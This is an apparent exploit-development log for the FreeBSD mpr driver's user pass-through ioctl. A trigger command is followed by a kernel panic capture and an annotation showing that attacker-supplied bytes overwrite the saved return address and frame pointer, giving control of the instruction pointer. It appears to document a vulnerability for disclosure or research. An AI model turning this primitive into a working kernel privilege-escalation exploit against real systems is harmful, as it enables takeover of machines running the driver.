+ su operator -c "/root/rig/trigger rip"    (RequestSize=132, saved-RIP slot =
+                                            0x4142434445464748 non-canonical)
(serial console capture, unedited)

Fatal trap 9: general protection fault while in kernel mode
cpuid = 5; lapic id = 5
instruction pointer	= 0x8:0xffffffff8059842e
stack pointer	        = 0x10:0xfffff801184375d0
frame pointer	        = 0x10:0x0
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 880
current thread          = pri 6 
kernel: type 9 trap, code=0

CPU5 stopping CPUs: 0x0000001f
 stopped
Stopped at      mpr_user_pass_thru+0x6fe:       ret
db> 

=> The #GP fires AT the `ret` of mpr_user_pass_thru (0xffffffff8059842e
   = mpr_user_pass_thru+0x6fe) because the popped RIP is the attacker's
   non-canonical 0x4142434445464748.  frame pointer = 0x0 is the popped
   saved-RBP from the zeroed payload (offset 0x3c), proving the whole
   pop-chain executes from attacker bytes.